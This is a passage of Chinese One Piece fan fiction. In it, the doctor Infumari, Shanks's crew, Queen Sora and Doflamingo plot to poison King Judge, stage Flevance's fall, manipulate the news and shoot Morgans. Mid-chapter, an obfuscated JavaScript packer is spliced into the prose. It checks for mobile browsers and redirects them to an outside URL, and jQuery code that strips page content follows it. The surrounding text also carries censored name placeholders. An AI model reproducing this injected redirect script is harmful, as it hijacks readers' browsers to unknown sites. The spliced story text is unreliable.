“茵弗?睡了吗?要铺一下吗?” 茵弗玛利没睁眼睛:“这么多毯子没法铺吧,就这样像被拥抱一样很舒服。” 他往里缩了缩,随便调整了几团毯子的位置,给香克斯让出空间。 香克斯把草帽放到桌子上,也窝上来。他的床不是很大,勉强能睡下他们两个。这样也不错,就像是在杰克逊号上两个人窝在一个吊床上。 香克斯曾经偷偷数过自己和巴基之间茵弗更喜欢钻到谁的吊床上,有什么规律。 后来他发现没有规律,两个人都差不多,纯粹是他半夜从医务室回来之后看谁当时的睡姿方便他爬上去。 “茵弗...” “嗯?” “你好瘦了,我明天给你钓金枪鱼吧?” “你今天钓的不是金枪鱼?” “不是,你没有吃,所以不知道。” “...抱歉。” ''像被拥抱一样''吗? 香克斯向上挪了一下,伸出手,将茵弗揽到自己怀里,对方硬硬的颧骨压在自己肩上。 “所以,金枪鱼?就像芋头前辈做的那种,你以前很喜欢的,我明天告诉鲁?” “...好。” 他们的盒子在虚空中沉浮,没有时间,没有空间,香克斯的视线顺着茵弗的金发下滑,越过如山丘般的毯子,在旷野上,在香克斯房间的木板墙上,烛光的虚影延展成了巨大的石柱。 自己已经一遍遍告诉茵弗''不要担心,不要害怕''了,可是船长,我到底该如何让他相信呢? 他抬起眼,如保护的野兽一般威胁着那些他看不见的凝视,那条在盒子中腐烂的鱼。 “...香克斯?” “嗯?” “谢谢你。” “没关系,你冷吗?” “不、被拥抱,很暖和。” 香克斯嗯了一声,微微转身,吹熄流泪的蜡烛。 - “喂!你还好吗!那群人为什么在追你!” “唔...呜、” “呜哇你别怕!这是什么啊!好多手!” 咕噜—— “肚子饿吗?要不要先跟我走?我还有面包。还有纱布,你流血了。” “去哪...” “去船上,啊,我要去北海,找奇迹游医!” 罗宾蹭掉流淌到眼睛里的鲜血,努力眨着,看到眼前的虚影凝成了一个跟她差不多大棕发男孩。 “我、我也在找...” “哇那正好!你叫什么啊?我们一起吧!” “罗宾...” “哦!” 罗宾在被拉起来的时候下意识瑟缩了一下,对方在注意到之后放轻了动作。 “抱歉,你要我背你吗?我叫萨奇!” 45.计划准备 “总之就是这样,旅游可以,冒险可以,离矿区远一点,也尽量少接触铂铅,尤其是那些吃的和往身上用的...” 贝克曼将腿放下,用茵弗玛利之前给自己的发绳把头发梳了起来。 红发海贼团成员们围在餐厅里''开会'',他们已经到弗雷凡斯了,香克斯决定再跟茵弗呆一阵子,反正在哪里都是冒险。 贝克曼是北海人,自然很熟悉弗雷凡斯。认识茵弗玛利之前,谁能想到大名鼎鼎的繁盛之国,白色城镇,洁白之下是如此污浊暗淡呢。 “那么我和小特拉先生就去找他父母了,感兴趣的先生可以一起来,香克斯是说要跟着我的,不过可能会聊一些医学的东西不太有意思。” 贝克曼跟着了,还有本乡。 他倒是对那些''医学的东西''不太感兴趣,他想看看自己能否又在名为【茵弗玛利】的多面棱镜上看到新的一面。 如他所说,弗雷凡斯急匆匆地叫他回来,是已经拿得出让他愿意出手的诚意了吗。 他没有失望。 茵弗玛利在走入医院时掐了他的烟,然后被几位领头的医生围在会议室的桌前。这跟雷德福斯上用餐厅''开会''不一样,气质不一样,神态不一样,他在大笑。 “真是动听的一句话,特拉法尔加医生!真美啊,白色城镇!” 抛弃铂铅的''白'',重新建立起''医生''的白吗? “很好呀,我还以为您们会继续拿出什么改良什么协商之类的呢!意识到了是吗?国王和世界政府早就抛弃弗雷凡斯了,一百年前,您们的命运就被他们钦定了,他们只是紧攥着【铂铅】而已。” 茵弗玛利将带来的资料放在桌子上。 “您们将如何做呢?在这片海上重新建立白色城镇?我很期待!铂铅病的治疗也有进展,这很好,您们都是非常优秀的医生。” 留着小胡子的男人挠头:“是、你留下的研究方向很好,带回布鲁尼尔的这些资料也很好...但是国民们的游说...我们只是平民,不知道如何能让大家相信我们,放弃这片土地。” 茵弗歪头,一根手指曲起支在下巴上,用讲秘密一样的语气说:“我最近认识了一位美丽的王妃,杰尔玛的那位,那个国家对人体的研究,基因和遗传的学识都十分丰富,我本来是拿到了国王的许可,想让他们对铂铅病研究。但是我改注意了。” 贝克曼注意到他牵着的小孩在对方竖起手指时,将一只手放在心脏上,睁大闪闪发光的双眼。 他的心也开始疯狂跳动,不敢置信自己听到了什么。医生...是这样的吗? “杰尔玛是战争之国,先生们。我需要那位国王在不久之后离开他的王位,而白色城镇需要一场新生。您们敢吗?” 威廉:“可是之后...” 茵弗:“我想您们对杰尔玛王妃的''帮助''会让仁爱的她很愿意分出那些大蜗牛上的一部分,作为''白色''的新起点。” 贝克曼见到那棱镜上新的一面了,耀眼的,大胆的,像香克斯的那把火、不、更加疯狂。 “请安排国民们体检吧,威廉先生。用我从杰尔玛带回的新仪器,用证据、用感情说话,正因为您们是医生,才有不一样的优势。但是告诉他们要等待,帮我一起欺骗您们的国王,为我争取时间。” 他向自己、不、向罗招手,在对方跑过去时抱起他,就像举起一颗新星。 “带上特拉法尔加·罗,您聪明的,生病的儿子,您明白我的意思?” 威廉点头:“用证据、用感情。用医生的优势。” 后面他们的安排和医学讨论贝克曼没太仔细听了,心脏鼓动的声音在耳中作响,血管滚烫。他看到茵弗玛利挥挥手将面前的医生们,或是战士们散去,像放飞一群白鸽。 他身旁的香克斯猛地颤了一下,就像从什么咒语中回神。贝克曼偏头,看到自己船长手盖在脸上,眼神如看到首次发现的宝藏一样闪亮。 “茵弗医生...一直都这样吗?”本乡喃喃地说,手里的便签本早就停笔了。 香克斯摇了摇头,又点了点头。 茵弗玛利脸上还带着狂热的笑,对他们三人招手,示意他们在自己面前的圆桌上坐下。 “红发海贼团,我的朋友...” 香克斯:“我们会帮你的,茵弗!你需要什么!” 贝克曼点头,将兜里不自觉捏碎的烟盒丢到废物篓里。他想在茵弗玛利这混沌,圣洁,疯狂的漩涡中腾飞。 - “我不同意。” “巴/雷特先生?” 杰尔玛王妃备孕的偏楼里,第一次迎来这么多客人。 “你不需要战争,小耗子,我可以直接干掉弗雷凡斯的王族,甚至是杰尔玛。” 茵弗笑笑:“我要一座被污染透的废城干吗?还让您无缘无故背上干掉世界政府加盟国的负担?” 他拍了拍巴/雷特的手,被对方嫌弃地躲过。 “我知道您不想让我陷到战争里,先生,这不会是一场''真正的''战争。” 巴/雷特啧了一声:“我不是说了打架我上?别的别找我?你还真的想让我带孩子?” 没错,茵弗玛利和伽治用,''让巴/雷特来帮忙训练他未出世的孩子士兵''来换允许红发海贼团,这个袭击了他分队的一伙人,以茵弗的客人身份准许进入杰尔玛。 “嘛,我估计等小殿下们生下来,他们大概感情还是会存在缺失,毕竟我来的太晚,能保下王妃已经是最大极限了。” 但是通过改造而造成的情感缺失其实也是一种损伤,他相信自己的能力能听见,那就有通过刺激神经和后天学习等多种方式让他们找回那些感情。至于让他们做巴/雷特的学生?只是哄伽治这个眼馋的人而已。不过没准他也真的会考虑让他帮着看孩子,毕竟''情感''和''力量''之间的这种迷糊,某种意义上也许他们会互相帮助。 这是针对巴/雷特的''病''他新开的处方。 索拉点点头,向茵弗阐述了他不在的这段时间她开始做的准备。伽治还在位,他的冷血暴力仍然让他是说一不二的统治者。但是索拉既然能当他的王妃,谋略,学识,智慧,勇气,缺一不可。 她不想继续做伽治创造兵器的一环,她不想再隐忍自己的愤怒,做杰尔玛无数人的恐惧与绝望里做一朵努力求生的鸢尾花。 她不想蕾玖,还有未出世的,已经早早被定下以数字标号作为名字的,她的孩子们,也被裹挟着别无选择。 蕾玖这次外出回来变了很多,变得更像个孩子,有了新的兴趣,明明只是脱离杰尔玛,脱离伽治一阵子而已。 茵弗听到她的计划笑了笑:“您看起来气色好多了,殿下,我不认为我的药真的有这么快速的功效。” 他将威廉他们对铂铅的进一步研究结果拿出来翻看。 “那么造出含有高含量铂铅毒素的用具和调料,当然,符合伽治陛下的喜好最好,然后让他''快速的''慢性中毒怎么样?” □□:“他那个很丑的头盔?” 茵弗点头:“也许吧,但是我对制造这方面并不了解,威廉先生他们更是如此,又不能交给伽治陛下的研究者们。所以各位是否有更好的人才推荐?” 索拉:“杰尔玛的科技水平在世界都是数一数二的,但是因为限制我这边能提供的并不多。” 贝克曼:“你需要什么样的人?多少人?” 茵弗:“越少越好,提取并再加工铂铅中的毒素毕竟存在危险,人越多,做这种细致的工作越容易发生意外。” 香克斯挠头:“嗯...又要聪明又要厉害...最好是一个人...北海有这种天才吗?要不要去伟大航路找?正好我们海贼团还没去呢。” 茵弗捏捏鼻梁:“嗯...实在不行只能这样了,虽然我不想耗时太久,小殿下们快出生了,伽治陛下那边我拖延不了太久。而且弗雷凡斯的国王那边也在等我拿出''为他带来财富''的结果。” 贝克曼却想到了什么。 “''天才''的话,我听说过一个人...也许可以试一下。” 北海飞燕岛的孤僻天才发明家沃尔夫得到了一份新的工作。 在他带着行李登上那艘带着气派龙头的船的时候才有点实感,居然真的有人因为他的才华特意找他沃尔夫。 对方带来了十足的诚意,在自己询问为何要研究制作所需的''那种''东西之后,那个笑眯眯的年轻人很坦然地将他介绍给了杰尔玛王国的王妃。 沃尔夫觉得如果自己不答应,那么知道了这件事的自己会被门口那个红发带刀的,和黑发扛枪的年轻人们灭口。 海贼,医生,皇室,这是什么奇怪的组合? 在弗雷凡斯那对友善夫妇的招待下,沃尔夫认识了他们年幼却十分聪慧的儿子。他们两个一拍即合,随着时间的流逝,沃尔夫不敢相信自己和一个五岁的孩子成了忘年交——他也不敢相信这个孩子是病着的,整座弗雷凡斯都是病着的。 在特拉法尔加一家温暖的房子里,在他新的工作室里,他了解了更多,茵弗玛利没有给他说的一面。参与杰尔玛王室的斗争,这才是选用铂铅的原因吧。 建立新的,真正''白色''的白色城镇吗? “你也有儿子?” “是啊,巴格成了个作恶多端的海贼,明明本来是个像你一样有天赋的孩子,却走上了烧杀抢掠的道路,所以——” 罗对着他颓废的语气点头,跑走取来了一个电话虫,熟练地拨打。 “喂您好?” “沃尔夫的儿子是坏海贼,他很难过,叫巴格。” “收到。下次香克斯去送轮换到布鲁尼尔的医生时,巴/雷特先生会一起。” 咔嚓。 - “醉酒恶魔果实?” 巴/雷特接过茵弗玛利递来的酒喝了一口,随手擦掉酒渍。 “很弱,给老头儿看了一眼,他就让我丢海里了。” “辛苦您了。” 香克斯:“茵弗,为什么巴/雷特能在会议上喝酒~” 茵弗:“因为王妃说他可以。” 索拉笑了笑:“香克斯也—” 茵弗:“他不可以。” 贝克曼没管自己委屈巴巴的船长,递过手里的文件,嘴里叼了根棒棒糖。 “你要的情报,基本符合的团伙都在这里了。” 茵弗翻看着,嘴里也含着棒棒糖。 “谢谢,塞苏斯...克里...这个花是什么?堂吉诃德...夏普...您们觉得他们哪个更合适一些?” 索拉:“论势力规模和潜力的话,堂吉诃德?虽然是很新的一伙人,但是伽治曾经多次提到过,很不喜欢他们试图冲击杰尔玛在北海的地位。” 茵弗将标着一个笑脸图案的资料拎出来琢磨:“诶——这么有野心的?还能入伽治陛下的眼...多弗朗明哥...地下势力...名字很长呢...” 贝克曼无语:“那不是重点吧...要去见一见吗?” 见倒是见了... 好高。 “呋呋呋呋呋,大量的铂铅?” 笑声好特别。 多弗朗明哥有些紧绷地打量着''奇迹游医'',还有他身旁的怪物,巴/雷特。 “我不喜欢那么''病态的白色'',医生。我也不觉得这是一个医生会找我做的交易。你到底想要什么?” 茵弗玛利挑挑眉,''病态''? 他知道?这是他能知道的? 他放下腿,熟练地从兜里摸出根糖拆开塞到嘴里。 本来就是想找几个当足够利益驱使下的炮灰的,结果第一个就有点问题? 堂吉诃德...多弗朗明哥... “您和世界政府、不、天龙人什么关系?” 轰—— “少主——!” 茵弗弹开身上的灰尘石砾,在巴/雷特将攻击转向多弗朗明哥那一群五花八门的手下时代替他的位置,在这个粉色大衣的怪家伙面前蹲了下来。 “您的秘密就像是包裹着糖块的糖衣,先生,如果您不是这个反应,它不会融化得这么快。” 话语刚落,他就身体后倾,闪开袭来的细线,任由其割断飞扬的一撮刘海。 多弗朗明哥咳出一口血,忍着被巴/雷特捶出来的内伤起身,却瞬间被摁了回去,身体扭在破碎的瓦砾之间隐隐作痛——不,是剧痛,自己的胳膊被这个医生给卸了。 茵弗跪在他的腿上不让他行动:“您的秘密跟我没有关系,但是既然如此,我也会原谅您失礼的行为,我想我们能重新谈一谈有关合作的事宜。” 多弗朗明哥舔了舔脸上流下的鲜血,合作?这回不是交易? “你想做什么,医生。” “您想做什么,火烈鸟先生?” - “茵弗,为什么这家伙也能在会议上喝酒?” “因为他摔倒了,胳膊痛,一杯红酒有助于止痛。” 摔倒了?多弗朗明哥下意识地发笑。 茵弗玛利与他一边''战斗''一边讲述他的计划,一遍遍地卸下自己的双臂,又一遍遍安装回去,自私、任性、疯狂,就好像在一名''医生''的面前,多弗朗明哥只是个可以随意拆解拼装,不属于他自己的东西。 挖空一座城,然后借他人之手将其毁灭,蒙骗贵族,捉弄王族,戏耍世界政府... 比起愤怒,这让他兴奋。 茵弗玛利不在乎权利,不在乎名望,不在乎金钱,这些多弗朗明哥筹划着谋取的东西。 不、他大概只在乎自己能不能揉捏命运,那些高高在上的神。 他在身体的疼痛中饮下杯中如血般猩红的液体,发出一阵畅快的大笑。 “呋呋呋呋呋!” 茵弗玛利没理他突然发笑,还在和身旁红头发的海贼说话,随手递过来一沓写着密密麻麻信息的文件。 多弗朗明哥不在意,他示意同样带着伤的维尔高他们都出去,端起来细细地阅读。 “最近都不去王妃那里开会了呢。” “她生了四个宝宝诶,香克斯,很辛苦的。” “她都不能去看自己的孩子,伽治好讨厌。” “快了,小红仔,快了。” 索拉的四胞胎们至少身体状况都很健康,也确实比一般的婴幼儿要强大很多,除了金发的那个。但是伽治不知道,在他们四个生长到足以让他开始''训练''发现端倪之前,这件事必须要结束。 时间是一个很微妙的东西,他必须计算好在伽治身上的铂铅病爆发的时期,铂铅病最好也在这个时间段要找到治愈方法,还好,现在有了沃尔夫的帮助,威廉他们现在有更好的透析仪器,配合药物... 多弗朗明哥的办公室已经被打烂了,他们在废墟中围着茶几坐着,只有巴/雷特离他们有些距离,靠在门边闭目养神。头顶的天花板缺了一角,露出惨白的天空,堂吉诃德家族现在的基地规模不大,空气中仍然弥漫着之前扬起的尘土与血腥气。 茵弗揉了揉额角,有点反胃,他将手里的文件放在茶几上,靠向香克斯。 “怎么了茵弗?” 香克斯摘下草帽,挺挺肩膀让对方靠得更舒服。 “你不舒服吗?头疼?要吃糖吗?饿了吗?” 茵弗摇摇头,想了一会儿,又点点头,转向多弗朗明哥。 “火烈鸟先生,您欠我一根糖,要菠萝味的,谢谢。” “呋呋呋呋呋,你们打烂了我大半个据点,医生,你欠我一栋好房子。” “知道了,请快拿糖去吧。” 贝克曼听到茵弗玛利的称呼顿了一下,放下手上的情报,从兜里摸出一根棒棒糖递过去。 “谢谢,贝克曼先生。” 啧。 茵弗含着糖,手里转着香克斯和罗杰的草帽,喃喃自语。 “我总觉得,还缺了点什么...” 贝克曼旁边的一团粉直起身子,茵弗瞟了他一眼。 真的好高。 “缺了后续,医生。就算你借杰尔玛,和那些贪婪铂铅的人灭了弗雷凡斯和伽治本人,世界政府也会查下去的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913375|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 茵弗把身体从撅嘴的香克斯肩头移开,挺直脊背。 “所以?他们不会在乎白城的医生,或者索拉王妃,只会知道铂铅病在杰尔玛国王身上爆发了,他愤怒地毁了弗雷凡斯,让他们没了铂铅的利益。” “呋呋呋呋呋,那群老头儿和海军把握着这片海的话语权,医生,他们会扭曲你的胜利。” 比如将铂铅病描绘成传染病,让那些脱离弗雷凡斯的医生和民众被世界隔离消杀、比如借残暴这个由头吞掉杰尔玛的技术,让迎来新生的索拉王妃和她的孩子们在磨盘中被碾碎。 他们不在乎''平民''。 茵弗啵地一声取出嘴里的糖:“嗯...确实呢,您有什么想法?先他们一步占领舆论高地?我曾经在黎明岛做过类似的事呢。” “你知道摩尔冈斯最喜欢什么样的新闻吗?” 摩尔冈斯,地下世界的帝王之一。 以恶魔果实的信天翁形态示人,世界经济新闻社社长。他热爱博人眼球,夸大事实,甚至虚构新闻。但他不喜欢别人控制自己的报道,报纸刊登的内容必须由自己决定。 “即使是掌握''话语权''的世界政府?” 多弗朗明哥:“只要你能给他足够热烈的''大新闻''。而我想,铂铅中百年的血泪不是很好吗?” 贝克曼:“但是那样的话,你就要站在聚光灯下了,杰尔玛战后收容难民,''奇迹医生''治愈铂铅病。” 很危险的位置。努力让自己中立的游医,敢对着上面的那群庞然大物呲牙吗? 多弗朗明哥嘴角愈发上扬,而茵弗玛利没有让他失望。 “知道了,我会想办法联系摩尔冈斯先生。” “呋呋呋呋呋!也许我能帮上你。” 茵弗有些惊喜,多弗朗明哥这么好说话的吗?乐于助人好像和之前给他的印象不太一样?明明之前不好好听他说话,害的他得一遍遍卸掉他胳膊,限制他的行动。 这么讨厌世界政府吗? “您说,好先生。” 多弗朗明哥:“行踪不定的游医,你的报道出的那么快,不止是因为你的名气。” 一名叫斯嘉丽的记者,重病的母亲曾经受过他的救治,他只索取了一张当地的风景照作为诊费,那之后她四处收集他的信息,踪迹,整理成了第一份''奇迹的游医''的报道。 “您怎么知道。” “很多人都知道,医生,有关你的情报的起点都是那里。” 可那里并不是他的起点。 离开了杰克逊号,他所没意识到的保护只会越来越多,他不知现在他是否该欣喜,可他的确幸运。 茵弗垂着眼,在手里的草帽上吻了一下,轻轻放回香克斯的头上。 香克斯攥紧他的手,放在自己的心脏上。 指尖平稳的叩鸣,衬衫柔软的触感让他回神,他对上对面两人的视线。 “那么,联系斯嘉丽小姐吧,火烈鸟先生,您能办到的吧?” 有了一个坏家伙,事情顺利了很多,之前的漏洞也被大量弥补。虽然多弗朗明哥对这件事诡异的热情让他觉得有点...但是好好用他的坏脑子想主意就好,行动力又强,手下一群奇形怪状的坏家伙。 小王子们诞生后,茵弗很少去杰尔玛,只有□□半被迫地时不时回去。比起他,伽治也更愿意见到□□。每次都要从白城或者布鲁尼尔跑来跑去太麻烦,最近他都呆在多弗朗明哥的据点里。 因为是个坏家伙,所以茵弗不太在乎自己的行为,因为是个坏家伙,所以对方也不太在乎他的行为。 总之,两周之后,他已经可以坦然地扑到多弗朗明哥软乎乎的羽毛大衣里了。 “哇呼——!” “呋呋呋呋呋,谈话顺利?” “摩尔冈斯先生还蛮好说话的嘛。” “因为你给了那只鸟不少钱啊。” 多弗朗明哥手插在西装口袋里,也没管后背上挂着的人,绕到自己翻新的办公室里。 “你还欠我一栋房子,医生。很喜欢我的大衣?” “像被拥抱一样,很舒服。” “呋呋呋呋呋,我可以拥抱你,或者琵卡,他的体格很适合拥抱。” “谢谢您,但我拒绝。” 茵弗在对方坐在自己的办公椅上时从羽毛上滑下来,随便挑拣了几张文件做到对面的沙发上翻。 “您想要什么?” “呋呋呋呋呋,一栋楼?” 茵弗摇头:“您想要什么?” 多弗朗明哥墨镜后眯起眼,嘴角又上扬几分。 “你怎么知道我曾经是天龙人?” 茵弗:“我不知道,我只是猜测,铂铅的秘密只有弗雷凡斯的王族和世界政府知道。而我对名字很敏感,天龙人名字都很长,带着旧的气息。” 他伸出一只手,模仿着嘴巴一开一合的动作,一字一顿地说道: “堂吉诃德·多弗朗明哥。” 萨米奥丝·露娜茜茜雅。 萨米奥丝·罗兹瓦尔德。 手上的文件被抛到一旁,他又去大火烈鸟的桌上捡了几张。 “当然,最明显的还是您当时的反应,巴/雷特先生给您很大压力吧?感到被威胁的野兽是会扑上来的。” 被形容为野兽没有让戴墨镜的男人生气,反而让他愉悦地任由对方翻阅自己的文件。 “我''曾经''是天龙人。” “所以?感觉您挺讨厌他们的啊,给他们添堵就觉得好玩?” “呋呋呋呋呋!你很好玩。” 茵弗点头:“谢谢,您也很有趣。不过,既然您不告诉我想要什么,那么要不要听听我的想法?” 他盯着那个形状张扬的墨镜,看到其中自己白色的身影,缓慢地,轻轻地,撕碎手中的文件,一张又一张,仿佛不是在看自己。 “别做这些无趣的东西了,火烈鸟先生,和我合作吧,弗雷凡斯之后,【茵弗玛利】所获得的一切都可以借给您。” 走私军火,奴隶贩卖,那些有什么意义呢?你想要什么,多弗朗明哥?地下势力只是白旗黑旗的翻转,它是凝缩凝聚的社会缩影。它们有自己的力量角逐,自己的喜怒哀乐。''地上''所需要的一切,它也需要,甚至更需要。 “地下势力需要新的帝王吗?扼住他们生死的那个,''中立''的那个,捏住无论是谁都离不开的''医疗资源''的那个。金钱、物流、仓储、它们都可以被吞掉。''黑医''也是医。” 多弗朗明哥没有在意散碎一地的纸片,它们不再重要了,他有了新的选择,就站在他的眼前。 “地下势力需要新的帝王吗,先生?您想成为帝王的王吗?想从''地下''走到''地上''吗?” “呋呋呋呋呋,你知道要怎么做?” 茵弗玛利摇头,弹开手中最后一片纸,那是一只不会起飞的白鸽。 “我不知道,但是我想您知道。” 这次是多弗朗明哥先开口了。 “你想要什么?” 茵弗歪头想了想:“嗯...恶魔果实吧,大量的恶魔果实。您顺便给我弄来就好了。” “你有什么用?” “我喜欢它们,讨厌它们,好奇它们,所以我拿来玩。好玩。” 多弗朗明哥笑得肩膀颤动,好像听到了世界上最有趣的事情一样。 “当然了,我的医生,你想要把它们当人的脑袋踢都可以。不过,我还想要一样东西。” 茵弗抽出一根棒棒糖递给他,又拿了一根放到嘴里,有点嘟囔地问什么。 “我要弗雷凡斯。” “那片土地最少十年都不能用,您得重新清理它。” 多弗朗明哥耸肩:“免费地产总是好的。” 茵弗点头:“确实,是我疏忽了,让您钻了空子。不过好吧,我给您''弗雷凡斯'',但是不给您''白色城镇''。” 多弗朗明哥伸手与他相握。 “再一次,合作愉快,【茵弗玛利】。” “嗯哼,不过别太过火了,我能烧弗雷凡斯一次,就能烧第二次。” 46.小厨子和小博士 “喂,罗宾,我感觉不对劲。” 套着袍子的小女孩点点头,示意身旁的男孩跟她到旁边洁白的小巷里。 “居民们都好紧张的样子,好像要发生什么事了。” 见罗宾交叠双手闭上眼睛,萨奇挠挠脸上的纱布,安静了下来。一定是又在用神奇的能力探查消息吧,他们两个靠她的能力躲过不少危险呢。 两个八九岁的孩子再怎么努力,从西海摸到北海已经是好几月后了,更别提罗宾身上还有通缉令在。虽然萨奇不太在乎,但是总有一些人想把她送给海军。在岛上还好,搭船的时候遇到这种情况就很麻烦。 还好互相照顾着也没出什么大问题,最凶险的就是上次,萨奇推开罗宾的时候被袭来的刀在眼角砍了一刀,差点失去一只眼睛,现在还裹着纱布。 “希望奇迹游医还没走啊...只能在弗雷凡斯碰运气了。” 萨奇数着包裹里的食物,如果要在这里一直等的话,他还是去找个餐馆打工好了,不够他们吃很久。 罗宾突然有些慌张地睁开眼,差点打翻他手里的包。 “哇啊!怎么了!” “他们在说什么今天晚上撤离的事情!好像这里要打架了!” “什么!可我们好不容易才到这里,还不知道奇迹游医在不在呢。” 罗宾有些焦急地探出小巷,她这段时间已经变得很信任萨奇了,明明比自己要小一点,自己却受了他很多照顾。他不在乎自己是不是恶魔之子,而且上次要不是他推开她,她一定会被砍伤的。 “我们先想办法跟着居民们离开吧,再等等报纸上有没有消息...如果真的要打起来...” 她颤抖了一下,记忆里充满火焰与哀鸣。泪水模糊下只能看到滚烫的红,炙热的黄,还有妈妈越来越远的白发。 萨奇拉住她颤抖的手,转移了话题。 “真是倒霉,不过我们的吃的还够吃一阵子呢!所以没关系!你的神奇能力有听到他们说什么时候离开这里吗?” 罗宾握着他的手,做了几次深呼吸。 “嗯、嗯。好像是晚上有人会来领着,小孩子和妇女会先走,我们可以混进去...” 在逃离战场时,人群中混入两个裹袍子的小孩确实没人会注意。 撤离的时间不多,要分批,要隐秘。在王族沉睡时,杰尔玛靠近时,唯一的窗口。 出征时,伽治不会派出全部的国土,他只会带着士兵们在蜗牛群上分出去一部分。 国王在使用弗雷凡斯王族的礼物后中毒了,愤怒地前去报复,而仁慈的,善良的,爱民的王妃则指挥剩余的疆土去收纳那些被王室牵扯而遭遇不幸的难民。 茵弗坐在杰尔玛高处的栏杆上,一只腿搭在膝上,目光越过不断流上杰尔玛的居民,盯着熊熊燃烧的弗雷凡斯。 通过手里的电话虫,他向正处于头顶上空热气球里激动地喊着“大新闻”的信天翁说:“那么,拜托您了,摩尔冈斯先生。记住,铂铅病是毒,索拉王妃在不幸失去丈夫后同情类似遭遇的白城居民,请奇迹游医治好了它以告慰。其他您随意。” 咔嚓。 厮杀声;空气爆裂声;不断被接入杰尔玛的居民们或恐惧或后怕地交谈声;枪鸣炮火,也许还有血肉撕裂的声音,但那是不可能的。 很吵。 露台上的几人一言不发,直到声响止歇,唯余火焰。 贝克曼看着热气球远去,呼地吐出一口烟:“时间差不多了。” 茵弗点点头,耶索普走过来,咯啦一下举起手中的狙击枪。 “怎么样?他会飞的。往上找。” 耶索普嗯了一声,轻微移动着枪身。 “找到了。” 装了消音器的枪发出一声闷响—— 唯余火焰。 “...请替我去告诉王妃、不、女王陛下吧。” 众人脚步远去,啪嗒、从云上落下一只鸟。 “呋呋呋呋呋...还不错嘛。” “我心情不好,火烈鸟先生,看完烟花您可以回去了。弗雷凡斯王族囤积的财富请按约定在搜刮后交给我60%,其余您拿走做启动资金。” “别这么冷淡嘛,医生,等明天报纸发出来,去我那里喝一杯庆祝胜利吧?” 鞋跟的轻响离自己越来越近,茵弗耳朵动了一下,没有回头。 拔刀的声音,踢踏停止。 “茵弗说,看完烟花你可以走了。” “呋呋呋呋呋...你是他的什么狗吗,红发?” 嗡地空气震动——霸王色碰撞。 清脆的撞击——刀与丝线。 茵弗抖抖睫毛,等着那只鸟远去,等着再度安静...唯余火焰。 他终于听到自己的呼吸。 ''耗子,不是''真正的''战争,也是战争。''□□没参与战斗,但是他好像听到他的声音。 不、是打火机咔咔了几下——贝克曼回来了。 “本乡那边伤亡统计做完了,没能及时撤离的人数不多,没你想的那么糟。索拉王、女王说我们再在这里停留三天,让居民们适应一下。” “好,辛苦您们。” 茵弗终于从栏杆上跳下来,对着弗雷凡斯的方向跪下十指交握,在亲吻后念了悼词。 起身时他被拉入熟悉的怀抱,“那不是你的错。你已经尽力了。” “现在罗,蕾玖,还有小王子们,都能好好长大了。” 茵弗低头埋在他肩上,紧紧闭上眼睛。 “嗯...我好像有点不对劲,香克斯。” “早点休息吗?还是吃点东西?你又不吃晚饭,茵弗。” “不吃了,有点恶心,你能把雷德福斯上的毯子搬过来吗?” 贝克曼接到香克斯的眼神,比了个收到的手势,转身离开时,他不确定这次自己是否喜欢棱镜上这新的一面。 - 茵弗玛利睡了十八小时。 他从一堆毯子堆成的窝里爬出来,只觉得大脑混沌,口干舌燥。 所以香克斯推门进来的时候,就看到他一脸暴躁地在昏暗的房间里摸来摸去找水喝。 “哦!你醒啦,茵弗!水在桌子上,你的床头柜好窄,我怕它掉下去。” 说着他就走到桌边拿起水杯,递给还在迷糊的人。 “感觉好点了吗?你一直不醒,本乡说就是太累了,还要再睡一会儿吗?” 茵弗摇摇头,喝完一整杯水之后感觉肚子里都冰冰凉凉地晃,所以他翻下床,不顾香克斯疑惑的声音跑到卫生间全都呕了出去。 他不喜欢呕吐的感觉,那种自己不能控制的痛苦感,就像是窒息。整个人都在抽搐,本来应该留在身体里的东西全都不听话地翻涌,给喉咙和鼻腔都留下火辣辣的感觉,生理性泪水刺痛眼眶,很丑。 冷汗打湿脊背,手心,鬓角和额头,散落的头发黏在脸上,钻到嘴里,就在他伸手想要拨开时,一只温热的手已经将他的头发拢起,另一只轻轻顺了几下他的后背。 “好点了吗...我好像还是第一次见你这么不舒服。一直睡觉之前鱼人岛的时候倒也是见过。” 茵弗想要推开他:“别看、香克斯、先出去...” “没事的,我帮你拢着头发,你还想吐吗?” 不想了,万幸,把突然灌进去的水吐出去就好了。 他缓了一会儿后支起身子,走到水池边漱口。 “啊啊...我真是讨厌呕吐的感觉...比冷还讨厌...” 香克斯又顺了他后背几下,从台子上取了个发绳,有些笨拙地帮他把头发扎起来。 “所以你才不好好吃饭?因为不想恶心?” “也许吧。” “你要去看本乡吗?或者特拉法尔加医生?你听不到自己的不舒服吧。” 茵弗摇摇头,收好洗漱用具后随便洗了把脸。 “我没事,现在怎么样了?” 香克斯挠挠脸,跟在他身后等他换衣服。 “嗯...都还好?有两个小孩说是要找你的,罗和蕾玖也想你,来看你的时候你都在睡觉。” 茵弗点点头,临出门前揽过身旁的红发青年贴贴脑袋。 “谢谢,香克斯。” 虽然他才睡醒,不过已经是晚上了。 他先去见了索拉,对方正在房间里给自己终于可以好好见面的四个儿子们读绘本,蕾玖窝在她身边打着小呼噜。 见到他来,她放下手中的书,没有吵醒小床里熟睡的孩子们,只是擦着眼泪拥抱了他。 “不用谢我,女王陛下,倒是我该感谢您帮我给白色城镇一个缓冲区。” 索拉摇摇头:“我不是你的女王,茵弗。” 他露出一个有点无奈的笑:“好的好的,我知道了,鸢尾花。” 类似的对话也在特拉法尔加夫妇身上发生。 茵弗松开威廉后退一步,拍拍正困得揉眼睛的罗毛乎乎的脑袋。 “弗雷凡斯王族40%的财产我会交给您们,我取走20%,40%另有用处。” 威廉感谢地点头,不过表达谢谢的话都已经说尽了。 “等全部居民都治好铂铅病,一部分人会到别的岛去定居,其余的人,我们会建立新的''白色城镇''的。女王陛下也答应了我们和杰尔玛的交流学习...” 